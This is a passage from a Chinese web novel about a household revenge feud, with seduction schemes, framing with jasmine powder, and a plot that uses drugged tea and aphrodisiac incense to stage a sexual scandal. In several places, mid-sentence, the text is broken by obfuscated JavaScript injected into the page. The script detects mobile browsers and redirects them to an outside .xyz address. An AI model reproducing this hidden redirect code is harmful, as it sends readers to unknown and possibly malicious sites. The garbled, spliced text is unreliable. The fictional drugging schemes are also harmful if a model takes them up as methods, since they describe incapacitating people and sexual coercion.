晏明修原本听到前面两句话,有些不太高兴,但一听后边关心他的话,顿时心软得一塌糊涂。 他就说了嘛,二妹妹最善良最会替旁人考虑了。 他赶忙道:“二哥委屈不要紧,主要是你不能受委屈。” 温韫沉声开口:“没事,有我在呢,你们谁都不能受委屈。” 两人一同看向他:“表哥,你可是有什么好主意?” “我们要以其人之道,还治其人之身。”温韫眼眸微眯。 * 青州温家一来人,晏逐星便让人留意了温如霜院子里的动静。 原本温如霜的院子密不透风,但自从她瘫痪后,院子里人心浮动,收买起来就容易多了。 于是次日她就得知了温如霜想把晏明月送走的事情。 “这可不行。” 晏逐星托着下巴思索了起来。 如果让晏明月离开京城,那么报复她的难度就会增加。 原想着利用玉肌膏温水煮青蛙,让她先得意一段时间。 等之后容貌再毁,晏明月的反应一定很精彩。 但如果她就这样被送走了,那她可就看不到她凄惨的下场了。 而温如霜之所以想把女儿送走,多半是为了腾出精力来对付她。 晏逐星决定先给温如霜找点事情干,分散她的注意力。 “你去人牙子那走一趟,帮我寻摸一个长得漂亮好生养的姑娘养在外边,看准时机让他们和父亲勾搭上。”晏逐星给九栀下了命令。 府里两个姨娘一入侯府就被温如霜下了绝子药,这些年来早就歇了争宠的心思。 她得从外边再找两个能用的人来。 “告诉她,只要想办法把孩子生下来了,我就会让她的孩子成为侯府世子。”晏逐星扔出了一个让人无法拒绝的诱饵。 定远侯府的人都要死光。 但侯爵之位,她得想办法留着给自己的人。 “是。”九栀很快就去找人了。 不过两日,她便找到了一个调教好的扬州瘦马。 此人名曰阮寄薇。 两人达成了一致,阮寄薇负责勾引定远侯,她需要的金银开销由九栀提供。 九栀与她见面时蒙了面还改了声音,她并没有认出她就是侯府大小姐的贴身丫鬟。 不得不说,受过专业训练的就是不一样。 第一天偶遇,第二天便将定远侯勾到了她的床上。 没几日,定远侯便沉醉在她的温柔乡当中了。 晏逐星故意让阮寄薇用了茉莉香粉。 温如霜碰不得茉莉香,一闻到就会不停流眼泪打喷嚏。莫说簪花熏衣,便是丫鬟们制头油时沾了丁点,她的额角便要泛红发疹。 因而只要定远侯身上带着茉莉香,她一定就会发现。 这日,定远侯跟阮寄薇厮混回府后,晏逐星故意派衔蝉拦住了他。 “侯爷,大小姐有事要见您。” 定远侯没想太多,直接去了玉澜院。 “星儿,你寻为父何事?可是国公府或者皇后娘娘有事要找你呀?”定远侯一脸慈爱地看着她。 嗅到他身上的茉莉花香,晏逐星放心了。 “母亲自打生病后精力不济,连我院里的银炭都漏了两回。正好之前太医叮嘱她静养,倒不如让母亲休养半年,待身子大好了,咱们再作打算。这些时日就让两位姨娘掌家如何?” 晏逐星故意提出了一个温如霜绝对不会答应的请求。 掌家的对牌在她手中,定远侯即便答应了也得去问她要。 他们必须见面。 “什么?这大冬天的,怎么能克扣你的银炭。你母亲真是病糊涂了。”定远侯眉头一皱,“既是如此,那便依你所言,让柳姨娘和林姨娘帮着掌家吧。” “此事还得劳烦父亲去同母亲说才是。”晏逐星垂眸。 “行。还是星儿孝顺,懂得体恤你母亲的辛劳。”定远侯笑着夸赞了她两句,而后又命人将府里最好的银丝炭送了过来。 待他离去后,晏逐星唇角勾起一抹冷笑。 真期待待会儿温如霜的反应啊。 得知定远侯先去了晏逐星那里,又来见她,温如霜心底涌起了一阵怀疑。 那野丫头又憋着什么坏。 但见到定远侯的时候,她还是温声询问:“侯爷怎么来了?” “夫人,你这些日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565219|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受累了。”定远侯站在她床头两步开外的位置,没有靠近。 再加上她为了掩盖自己身上的异味,屋子里熏香十分浓重,所以并没有察觉到定远侯身上的茉莉花香。 定远侯继续开口:“太医说你这种情况要好好休息,不可太操劳。若是累坏了身子,孩子们也会心疼的呀。” 温如霜心下有些感动,没想到侯爷竟然还是关心她的。 但下一句话,就让她的感动烟消云散了。 “管家之事实在太累,倒不如让两位姨娘来打理,你看如何?” 温如霜顿时大怒:“这是晏逐星那野丫头给你出的主意吧?!” “星儿那也是关心你,你又何必这么说她。”定远侯皱起了眉头。 “她那是关心我吗,她那是想夺了我的管家权!!!”温如霜怒吼。 因为情绪太过激动,猛拍床板时差点从床上摔下来。 距离最近的定远侯赶忙上前一步扶住她。 猛地闻到他身上的茉莉花香,温如霜忍不住打喷嚏。 “阿嚏” 鼻子痒得难受,温如霜一连打了好几个喷嚏,最后眼泪都打出来了。 “夫人,您怎么了?”李氏瞧见她不对劲,赶忙上前。 一上前,就闻到了定远侯身上的茉莉香气。 她大惊失色:“侯爷,夫人闻不得茉莉香气,烦请您让让。” 定远侯这才想起来这事。 他赶忙退后两步:“你好好照顾夫人,本侯先去沐浴更衣。” 李氏招呼着下人开窗通风,又喂温如霜吃了之前备下的药丸,这才让她止住了打喷嚏。 温如霜一缓过神来就忍不住破口大骂:“肯定是晏逐星那个**,她知道我闻不得茉莉香气,故意在侯爷身上抹了茉莉香粉!!!她要害死我。” 晏明修几人正好来探望她,听到这话,赶忙上前询问发生了什么事。 温如霜便将先前发生的事情说了。 晏明修是个暴脾气,一点就炸,当即就要去找晏逐星算账。 温韫和晏明月对视一眼,也跟了上去。 他们之前计划的是将晏逐星骗出府去,假意让她在路上遇到山匪,到时候让她的脸也划破,再将她救回来。 可没想到他们人都找好了,但晏逐星却死活不出门。 一时间他们没想好该怎么下手。 今日之事倒是可以借题发挥,虽然不能毁了晏逐星的脸,但也能让晏明月出口恶气。 几人凶神恶煞地来到了玉澜院。 第53章 晏逐星设套 “晏逐星,你明知道母亲闻不得茉莉香气,你还用茉莉熏香,你安的什么心。”晏明修一开口就是训斥。 “谁说我用了茉莉熏香的?”晏逐星面无表情地开口。 “二少爷,您可不能污蔑我家小姐呀。我们院内,可是半丁点茉莉花都寻不着的。”双鲤跟着附和。 “你说没用就没用么。来人,搜!”晏明修二话不说就让人去翻院子。 晏逐星拍了拍轮椅扶手,九栀将她猛地推上前。 她直接扑到了晏明修的身上。 “我没有做过,你不能搜我的院子。” 她力气极大,动作又很突然,晏明修猝不及防地就被她推倒了。 “二哥。” “表弟。” 温韫和晏明月同时弯腰去搀扶他,却无人在意一同扑倒的晏逐星。 晏明修脸涨得通红,晏逐星竟然害他丢了那么大的脸。 他踉跄起身,正准备训斥晏逐星,晏明远就急匆匆地赶来了。 他一来,就看到晏逐星摔在地上,而丫鬟正哭着搀扶她起身。 晏明远怒斥:“二弟,你胡闹什么,星儿腿本就有伤,你还将她推倒。” 晏明修气得大叫:“是她推的我!” 晏逐星不解释这件事,只是看向了晏明远:“晏大少爷,你弟弟一来就说我故意用茉莉熏香害得母亲生病,没有证据就要搜我的院子。麻烦你把他带走。” 听到“晏大少爷”几个字,晏明远心下一阵难受。 “星儿,我是你大哥,你何必与我这般生疏客套。” 晏逐星沉默着不再开口。 晏明月面色不善地盯着晏逐星。 她故意和大哥划清界限,分明是以退为进。 见她不说话,晏明远在心底叹了一口气,抓住了晏明修的手。 “二弟,走吧,别闹了。” 晏明修甩开他的手:“大哥,我看你真是昏头了。一个野种而已,你何必这么维护她。” 听到这话,晏逐星直接将发髻上的金钗摘下来砸向他。 晏明修正和大哥辩解着,猝不及防被她砸中了嘴巴,金钗划破了唇角,渗出一丝血来。 疼得他倒吸一口凉气。 晏明远忽然想起在玄空寺被永安王石子弄肿的嘴唇,下意识地捂住了自己的嘴。 星儿这一手,不会是和永安王学的吧? 晏逐星在心底给自己鼓了个掌。 呜呼。 看来近日练习效果不错,砸人的准头愈发精确,可以做到想哪砸哪了。 她抢先一步开口:“你一口一个野种,看来是压根不把我当一家人。好,那我便遂了你的愿,今日搬出定远侯府,从此再也不见。” 她扭头,眼里含泪厉声吩咐:“双鲤,收东西,我们走。” “诶!”双鲤应了一声,立刻拖着九栀就去收东西。 几个丫鬟的动作快得像是提前演练过一般,根本不给他们劝阻的机会,三下五除二就把东西给收完了。 “侯府的东西我一样不要,我带走的都是皇后娘娘和烈国公府赏赐的。不信你们可以检查。”晏逐星语气愈发冷漠。 晏明远忙道:“大哥就在这,看谁敢赶你走。侯府就是你家,别说这种话!” 随后扭头看向晏明修:“二弟,还不赶紧给星儿道歉。” 晏明修委屈**。 受伤的是他,大哥不关心他就算了,还帮着一个野种说话。 晏明月没想到大哥已经被晏逐星迷惑到这个地步了,赶忙上前一步替晏明修说话。 “大哥,你怎么能不分青红皂白就怪二哥呢。我和表哥都看见了,是姐姐不小心推倒二哥的。” 一旁的温韫也忍不住帮腔:“大表弟。我只知你偏袒晏逐星,不知道你竟然已经盲目到这种地步。” 晏明远皱眉道:“我并未偏袒星儿,是二弟无理在先。父亲今日还去了别的地方,说不定是从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565220|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人那染了茉莉香,毫无证据,怎么就怪到星儿头上呢。” 晏明修涨红了脸不知道该如何辩解。 晏逐星饶有兴致地看着他们争吵。 晏明修这下总算体验到从前他们不分青红皂白就偏袒晏明月,她是什么感受了吧。 “你们这是在胡闹什么!!!”定远侯得知晏逐星要搬走,气得胡子都抖了抖。 开什么玩笑。 他费尽心思和晏逐星修复父女关系,甜头还没尝到,怎么能让人跑了。 他当下就将晏明修几人训斥了一番。 “是我在外头没注意染上了茉莉香气,与星儿有何关系。晏明远,给你妹妹道歉。不许再叫她野种。” 晏明修不服,抬起下巴满眼倨傲:“她才不是我妹妹。我只有明月一个妹妹。” “侯爷,你不必与二少爷争论。我感激您收养了我这些年,日后一定会报答您的。只是我继续留下来,于侯府没有任何益处。我还是走吧,免得破坏了你们的父子关系。”晏逐星小心翼翼地扯了扯定远侯的衣角。 定远侯被她这一句“侯爷”给刺激到了。 他抬手揪住晏明修的耳朵:“我让你道歉听到没。今日若不能让星儿消气留下,你就给我滚去祠堂跪到过年。” “哎哟哟。”晏明修被揪住耳朵,疼得东扭西歪惨叫出声。 没想到,他扭动时一个小纸袋从他身上掉了下来。 “这是什么?”晏明远皱眉捡起,打开一看,一股浓郁的茉莉香气传了出来。 这是茉莉香粉! “好呀,原来你说要搜院子,是想把这个东西藏起来,栽赃我家小姐?!”双鲤大声质问。 “不是我的。”晏明修彻底慌了神。 “我不知道这东西哪来的。” 但下一瞬间,他就反应过来了,红着眼睛冲晏逐星扑过去,厉声嘶吼道:“是你,你刚刚故意推翻我把这东西藏我身上的。” 第54章 布好下个局 定远侯和晏明远赶忙伸手拦住她。 晏明月和温韫一惊,顿时用怀疑的眼神看着晏逐星。 如果这一切都是晏逐星设好的圈套,她的心机也太深了。 听着晏明修的质问,晏逐星却没有丝毫的惊慌。 “不是**的。二少爷,你贼喊捉贼的把戏还没玩够吗?每一次都用这种招数陷害我,你真当我是傻子吗。”她冷笑着盯着他的眼睛。 “那年,你明明是带晏明月去玩水后身子不适,你怕爹娘责备她,就故意来找我说带我去捉鱼。隆冬时节你跳入冰窟窿里为我捞鱼,我还偷偷开心以为你不生我的气了。结果上岸后你就冻晕在我面前,害得我被母亲罚跪了一夜。” 晏逐星说起这些事时,以为自己不会在乎了。 但她却还是控制不住眼泪,越说越伤心。 当初,她是真的以为那个疼爱她的二哥回来了。 她无比期待着和哥哥一起去捞鱼。 她想着等鱼捞上来了,她就给爹娘做热乎乎的鱼汤。他们喝了,肯定就会想起她的好,把她接回瑶华院了。 没想到,等来的只有惩罚。 “这一回,你又拿茉莉香粉来害我,不就是想让我滚出侯府吗。其实不用这么麻烦的,直接跟我说一声就行,我不会赖在你们侯府的。”她抿着唇,眼泪像断了线的珠子一直往下落。 定远侯和晏明远是头一回知道这些事,他们一脸错愕地看着晏明修和晏明月。 两人眼里都闪过一丝心虚。 晏明修梗着脖子道:“那时候的事情是我不对,但这一次我真没有……” 他的话没说完,就被晏逐星打断了:“父亲从外边回来只和我说了几句话,那么短的时间里,我压根没机会往父亲身上撒什么茉莉香粉。” “你不听我辩解直接就把谋害母亲的罪名扣我头上,你到底是多恨我啊?为什么非要逼死我呢?” 这一句话,是替上辈子的她问的。 她到底做了什么,他们要那么恨她,恨到她**也不愿意放过她。 晏明远的心脏忽然有些抽疼。 星儿对二弟的一声声控诉,何尝不是在质问拷打他呢。 他当初不也是为了让明月开心,做了很多伤害星儿的事情吗。 明明…… 星儿也喊了他那么多年的哥哥啊。 “星儿莫慌,爹爹今日便替你讨回公道!”定远侯大手一挥,叫来下人押住了晏明修。 “你去祠堂跪着,跪到星儿消气了为止。” “爹!”晏明修和晏明月同时惊叫出声,“这是不是太过分了?” “你再多嘴,你也一块去跪着。”定远侯不悦地看着晏明月。 和威宁侯那边的婚事迟迟谈不拢,他看到晏明月就烦。 晏明月的眼泪在眼眶里打转,她嗫嚅着唇想开口,却又不敢。 “表哥,你快替我求情啊。”晏明修求助温韫。 “姑父……”温韫只是刚开了个口,就被打断了。 “韫儿,这是侯府的家事。我这个当长辈的管教孩子,不用你同意吧?”定远侯皮笑肉不笑地开口。 温韫讪讪道:“自然是不用的。” 晏明修鬼哭狼嚎说不是他陷害的晏逐星,但没用,定远侯已经倒向了晏逐星那边,他更相信晏逐星的话。 定远侯将其他人赶走,温声安慰起晏逐星:“你就在玉澜院安心住下,谁来找你麻烦,爹都不会同意的。” 晏逐星红着眼眶道:“多谢侯爷。” “嗯?怎么叫侯爷,你怨上爹了?”定远侯故意板着脸吓唬她。 “多谢爹爹。”晏逐星从善如流地改口。 定远侯这才满意地点头。 两人又客套了几句,定远侯方才离开。 “把东西重新放回原位吧。”晏逐星下了命令,让双鲤将她推到了书桌前。 如今温如霜瘫痪,晏明远婚事被搅黄,晏明月容貌被毁,晏明修也被关进了祠堂。 定远侯彻底偏向她。 晏明月和温如霜一定会狗急跳墙出昏招。 他们自乱阵脚时,就是她动手的好时机。 “以其人之道还治其人之身。” 晏逐星在纸上写下了这么一句话。 下一个针对晏明月的局她已经布好,只等她入坑收网了。 * 翌日清晨,惊闻次子被关到祠堂罚跪了一整晚,温如霜本就孱弱的心神愈发惊惶不定,双手紧攥着被褥,指节都抓得泛起了青白。 她忍不住脱口而出:“侯爷莫不是得了失心疯?” 为了一个野种,竟然伤害自己儿子。 大冬天的祠堂阴冷,这么跪下去膝盖迟早废了。 “去把侯爷请来!”她怒吼着催促。 不一会儿,定远侯院子里的丫鬟便来了。 小丫头忐忑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570817|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地开口:“侯爷上朝去了。不过……侯爷曾给我留话让我转告夫人。” “侯爷让你说什么!”温如霜咆哮出声,与市井泼妇无异,从前的贵夫人形象荡然无存。 小丫头闭上眼睛,一咬牙,复述了定远侯的话。 “若夫人能将管理庶务的心思多放一点在二少爷身上,二少爷也不至于这么不懂事。夫人不如暂且将庶务交给两位姨娘打理。” “晏鸿升,你这个王八蛋!!!”温如霜气得浑身哆嗦了起来。 定远侯的意思很明显了。 想换晏明修从祠堂里出来,就拿掌家对牌来换。 姜清屏赶忙替她拍背顺气,将这丫鬟撵走后,若有所思道:“小妹,我怎么觉得妹夫有些不对劲啊?” “哪里不对劲?”温如霜看向大嫂。 自打她瘫痪在床后,整夜整夜的睡不着,脑子都没之前好用了。 “按理来说,你们夫妻的感情不该消散得这么快。毕竟也是二十年的感情了。再说了,还有你大哥在呢,怎么着侯爷都不该是这个态度。”姜清屏委婉暗示。 “久病床前无孝子,何况是丈夫。”温如霜流下了悔恨的泪。 要是那一日,没有去定国公府就好了。 “我的意思是,会不会是侯爷在外边有人了,心落到别的女人身上了。他昨日身上的茉莉香气,总不能是男人的吧。”姜清屏见她没有反应过来,只得摊开了说。 温如霜一愣。 如果不是晏逐星故意往侯爷弄的茉莉香气,那么大嫂的推断才是最有可能的。 如果侯爷真的在外边有了别的女人。 温如霜一想到这个可能,就恨不得**。 她强迫自己冷静下来。 “我知道了。大嫂,多谢你的提醒。”温如霜对着嫂子道谢。 等她离开后,立刻命人去跟踪定远侯。 看看他下朝之后,会去哪里。 同一时间,她让人给晏明修送去了软垫和吃食。 “告诉二少爷,侯爷回来了再跪,别那么实心眼。看守的人管好自己的嘴,若是敢去侯爷面前嚼舌根,我发卖他全家!” 雷厉风行地办完了一切。 温如霜忐忑不安地在屋子里等到了天黑。 定远侯终于回来了。 她赶忙将自己派去跟踪他的小厮叫来询问:“怎么样,侯爷去了何处?见了什么人?” 第55章 彻底没帮手 “侯爷、侯爷……”小厮目光躲闪着往后退了半步,结结巴巴说不出个所以然来。 温如霜心底已经有了猜测,但不愿意相信。 她将雕花床架拍得哐当震响,连带着纱帐都晃出波纹。 她厉声呵斥道:“舌头被炭烫卷了不成?给你三息时间,若说不明白,你也不用在侯府呆着了。” 话音刚落,小厮的膝盖便重重磕到了地上,话像竹筒倒豆子似的蹦出来。 “侯爷去斜阳巷见了一个姑娘。临走前,那姑娘攥着侯爷的玉佩穗子,将脸都贴到侯爷颈窝里了。” 温如霜还有什么不明白的。 定远侯竟然在外边养了外室! 那茉莉花香,定然是在外室那里染上的。 温如霜气得牙齿都要咬碎了。 小厮垂头跪在地上瑟瑟发抖,不敢言语。 这样大的事情竟让他给撞见了。 温如霜心乱如麻不知道该如何处置这事,她让小厮退下,差人将大嫂请了过来。 “嫂子,你说对了。侯爷他真的在外边养了人。”温如霜一说话,眼泪便扑簌簌地往下落。 姜清屏叹了一口气,轻轻将她拥在怀中。 同为女人,她特别能理解温如霜此刻的崩溃。 她什么也没说,只是静静地拍打着她的背,直到她渐渐停止了啜泣声。 “嫂子,你说我该怎么办啊?”温如霜泪眼朦胧地看着大嫂。 “别慌,只是一个小小的外室罢了。只要掌家之权还在你手中,你便不必惊慌。”姜清屏按住她的双肩,给她支招。 “你不如让侯爷将人纳入府中。入了府,后宅之事还是你这个当家主母说了算。一个小小的姨娘,还不是任你捏圆揉扁。” “等明远明年及冠,你让侯爷请立世子,务必让世子之位落在明远头上。” “侯府迟早会归到明远手中,那些姨娘成不了什么气候。” 有了大嫂一步一步的分析,温如霜心里也有了着落。 她用力攥紧姜清屏的手:“大嫂,没有你我可怎么办啊。幸亏你来了。” “傻丫头,咱们可是一家人。”姜清屏也重重地握住了她的手。 “不过你可得快点拿定主意了,我看侯爷这回是真的要给明修教训。若你再不出手,明修在祠堂可就真的遭大罪了。” “而且,后日我们就要回青州了。再之后,我也就帮不上什么忙了。” 温如霜顿时生出了一股紧迫感。 她忙点头:“我明白了嫂子,我这就让人请侯爷来,与他好好商谈此事。” 她在“好好”二字上加重了语调,带着几分咬牙切齿的恨意。 姜清屏点了点头,又安慰了她几句,等到定远侯过来时,她便找了个借口离开,只留他们夫妻二人在屋内。 “夫人寻我所为何事?”定远侯不冷不**开口。 温如霜轻声道:“明修已经在祠堂跪了一天一夜,再大的差错也该饶了他吧?” “夫人不是已经找我院中的丫鬟问过了么。”定远侯没有正面回答。 温如霜生吞他的心都有了。 说来说去,就是想让她用管家权把儿子换出来。 她也不演了,将手上的药碗往旁边一搁。 “如今我卧病在床,若是让柳姨娘和林姨娘替我分担家中庶务,谁来伺候侯爷?是斜阳巷的那位姑娘么?” 定远侯没想到她这么快就知道了阮寄薇的存在,眼睛猛然睁大:“你派人跟踪我?” 大虞官员若是被检举养外室,会被认为私德不修,到时候恐怕他又要在家反省了。 温如霜淡淡道:“侯爷若是喜欢那姑娘,大可纳入侯府,我绝无二话。只是明修一直在祠堂里跪着,我无心给侯爷操办纳妾之事啊。” 听她这么说,定远侯心里松了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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晏逐星就像缩进龟壳里的王八,始终呆在她的院子里,没有踏出侯府半步。 他们先前诱骗晏逐星出门买凶毁其容貌的办法根本用不上。 第56章 要以牙还牙 “明日践行宴,你将姐姐单独叫到清辉阁待一会儿,行么?”晏明月咬着唇说出了自己的办法。 她要以牙还牙,以眼还眼。 晏逐星害她失了清白,她也要如法炮制,让她也失了清白。 若是母亲和舅母知晓晏逐星蓄意勾引表哥,她就死定了。 毕竟表哥已有未婚妻,待到来年三月三后便成婚。晏逐星若是和他扯上了关系,舅母一定会整死她的。 到时候,父亲和大哥也阻拦不了舅母。 毕竟表哥是温家人,而非晏家人。 “这是姐姐写给表哥的情诗,你将她叫出去,是为了拒绝她。”她掏出了一封模仿好晏逐星字迹的信。 她被找回来时,兄长让她临摹的是晏逐星用过的字帖,因而她模仿起晏逐星的字迹轻而易举。 她说得委婉,但温韫也听明白了。 她想毁了晏逐星的名声,让她顶着不知廉耻勾引自家表兄的名头嫁不出去。 此事对他来说只是举手之劳,但却可以消除小姑和表妹的心头之恨,让他们都好受些。 思及此处,温韫答应了下来。 “我知道了。” “多谢表哥!”晏明月破涕为笑。 “只是万一她又像我们刚来那日,说身子不适,不出院子怎么办?”温韫皱眉。 “我会想办法让她出现的。”晏明月语气笃定。 不管用什么办法,她都会让晏逐星出现的。 见她这般胸有成竹,温韫便没有多想,横竖他只需要在园子里等着,然后等到母亲和姑父他们过来时,将那封示爱的信砸到晏逐星身上,训斥她不知廉耻就好。 两人就此分开。 晏明月激动地等着明日的践行宴。 殊不知,她刚和温韫分开,两人见面的消息就被传到了玉澜院。 瑶华院虽然牢固不好安插眼线,但姜清屏和温韫那边轻轻松松。 他们进到侯府那天起,他们的一举一动就都被晏逐星的人盯着了。 毕竟,有钱能使鬼推磨。 再加上如今温如霜这个侯门主母势弱,而她却成了后起之秀,引得侯府如今的主人以及未来的主人都对她多加偏袒。 那些有眼力见的下人,自然要来巴结她。 “小姐,你说二小姐和表少爷悄悄见面,是为了什么?”双鲤一边给晏逐星按摩腿,一边询问。 “你觉得呢?”晏逐星反问。 “二小姐蛇蝎心肠,表少爷跟她就是蛇鼠一窝,两人坏到一起去了。他们肯定没憋着什么好屁。”双鲤皱了皱鼻子,一脸嫌弃。 “哟,我们双鲤还知道蛇蝎心肠,蛇鼠一窝呢。”晏逐星笑着刮了刮她的鼻尖。 双鲤有些不好意思地笑了,随后又骄傲地挺起胸膛:“那可不。小姐识字,我也要识字,总不能哪天让人诓骗了,害了小姐。” 自打她被接回来后,就每日跟着小姐一块读书识字。 每日十个大字,如今她已经学会写全院上下所有人的名字啦! “没错,有志气。你要好好读书,日后会有大出息。”晏逐星笑着点了点头。 “那小姐你知道他们要做什么吗?”双鲤一脸崇拜地看着自家小姐。 小姐走一步算十步,十分聪明,想必一定能猜出表少爷和二小姐见面是为了做什么。 “不知道。但我已经给他们准备好大礼了,不管发生什么,见招拆招。只盼他们最后自食苦果的时候不要后悔。”晏逐星勾起了唇角。 * 后日一大早姜清屏便要带着温韫和晏明月回青州。 因而前一天夜晚,温如霜便准备了一场践行宴。 定远侯府上上下下都要给这个面子,全都出席。 定远侯爷担心晏逐星不来,因此亲自去请。 “星儿啊,你舅母和表哥他们就要走了,于情于理,今夜的践行宴你都得去。” “爹爹说得极是。女儿都听爹爹的。”晏逐星乖巧应下。 她这温顺的模样让定远侯想起了小时候的她。 这孩子被温如霜教导得十分规矩,对他们言听计从,从不闹腾,他甚是满意。 只可惜不是亲生的,到底隔了一层血脉。 因而明月回来后,他便铆足了心思去弥补明月。 谁知道亲女儿竟是个不中用的。 “好,那爹爹陪你一块入席。”定远侯收回思绪,取代了推轮椅的九栀,亲自推着晏逐星往正院去。 路上,两人遇到了晏明月。 晏明月没想到还没等她出手,定远侯就接到了晏逐星。 “我还说亲自来请姐姐呢,没想到爹爹你已经来了。”她微微勾起唇角,而后又嗔怪地看着定远侯。 “爹爹专程来接姐姐,不接我,是不是不疼我了。” “怎么会。”定远侯呵呵一笑。 “你姐姐腿脚不便,我自然要对她多照顾几分。” “好吧。那咱们一块赴宴去吧。”晏明月就这样跟了上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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得知温如霜已经托娘家人照看晏明月的婚事,定远侯心口堵着的气总算散开了。 他也乐呵呵地举杯要敬姜清屏。 你来我往,酒过三巡,在场的人至少都喝了两杯酒后。 温韫率先站了起来,提出告辞:“姑父,小姑,我有些不胜酒力,想先回去休息了。” 温如霜赶忙道:“好,那你快回去歇息,小姑这就命人给你送些醒酒汤去。” “多谢小姑。”温韫点头道谢,给了晏明月一个眼神。 晏明月微微颔首。 温韫走了没多久后,晏明月忽然摸了摸自己的耳垂,惊讶地开口:“咦,我的耳坠子怎么不见了?莫不是先前落在去寻姐姐的路上了。姐姐,要不让你的丫鬟帮我去找找吧。” 第57章 插翅也难飞 “好,九栀,你去吧。”晏逐星点头答应。 晏明月没想到计划会这么顺利。 晏逐星竟然答应得那么痛快。 她心里隐隐有些不安,太顺利了反倒让她心中起疑。 她握着筷子,无意识地捣着碗里剩下的菜。 温如霜不能久坐,因而第一个退席了。 姜清屏则打算等儿子透气回来,再和他一块离席。 约莫过了一刻钟,两个丫鬟都没回来,晏明月也亲眼看到了晏逐星喝下了她命人加了药的茶。 她决定还是赌一把,一切按照原计划进行。 她看向晏逐星:“姐姐,我明日便要离开侯府了,下一次见面还不知道是什么时候呢,还有许多东西没收拾,不如你陪我一起吧。” 晏逐星没有马上答应,反倒看向了定远侯。 定远侯忙道:“去吧,你们姐妹二人好好说说体己话,总归是一家人。” “嗯。都听爹爹的。”晏逐星点头应下。 晏明月舒了一口气。 她就知道,有父亲发话,晏逐星一定会同意的。 “不如我和二弟也一块去吧。”晏明远忽然开口,打断了她的计划。 “不用了。我和姐姐都是姑娘家,单独说话更方便。大哥,你好好照顾二哥,不要来凑热闹了。”晏明月赶忙拒绝。 她紧张地盯着晏逐星,生怕她会要求两位兄长一块去。 这个计划她只知会了表哥,万一大哥二哥插手,那就全毁了。 晏明远看向晏逐星,见她连正眼都不愿意给自己一个,心里有些难受。 父亲母亲和二哥她都喊了。 怎么就偏偏不喊他这个大哥。 晏明远见她这般坚决,而晏逐星又无视了他,便没有强求。 “行吧。那我让人护送你们回院子。” “不必啦,有莲儿呢。”晏明月努努嘴,指了指身旁的丫鬟,拒绝了她的提议。 而后飞快推动晏逐星的轮椅,将她带走,生怕晏明远会追上来。 走到一半,晏明月支开了身边的丫鬟:“莲儿,你先回院子里帮我取件披风来,有些冷。” “是。”莲儿应了一声,赶忙往瑶华院跑去。 晏明月推着晏逐星往另一个方向走去。 晏逐星面无表情道:“二妹妹,这不是去瑶华院的路吧。” 晏明月微笑开口:“姐姐,你不是有话要和表哥说,特意让我将你送过来的么。” 她盯着轮椅上的晏逐星,盘算着时辰。 腿上有伤又中了药,待会儿她便是插翅也难飞。 等莲儿取完披风回来寻不到人,必定要去宴席上闹。 等各处都寻不见踪影,父亲母亲定会发动全府搜寻。 到时候他们撞见中药的晏逐星和表哥躺一块儿,就是浑身长嘴也说不清了。 然而事情完全不像她猜测的那般发展。 晏逐星既未出言质问,也没有流露出半分慌乱。 她勾着唇,嘴边是嘲讽的笑,倒像是早看穿了这场戏码。 “九栀,出来吧。” 晏逐星轻声开口。 她声音落下,晏明月便瞧见了先前被芙儿带走的那个丫鬟,不知道什么时候跟在了他们身后。 “你怎么会在这?”晏明月露出了不可置信的表情。 两人却丝毫没有跟她解释的意思。 “九栀,动手吧。” 这是晏逐星跟她说的第三句话。 晏明月还没来得及惊叫出声,就被九栀用一张帕子捂住了口鼻。 她想要挣扎,却身子一软,动弹不得。 “将她扔到温韫身边去吧。”晏逐星吩咐了下去。 “是。”九栀扛起晏明月就把她扔到床上,反手将屋子里的**香换成了催情香。 先前芙儿领着她说是要给二小姐找耳坠子,结果竟然想对她下黑手。 好在大小姐提前提醒过她,她直接将芙儿打晕捆了起来。 如今二小姐和表少爷都中了药,再加上这催情香,待会场面肯定会很激烈了。 “走吧。”晏逐星让九栀将她推回了玉澜院。 她什么额外的举动也没做,只等着侯府众人撞破这事。 上回在威宁侯府,他们想用这个药毁了她,这一回,就让晏明月也尝尝这个 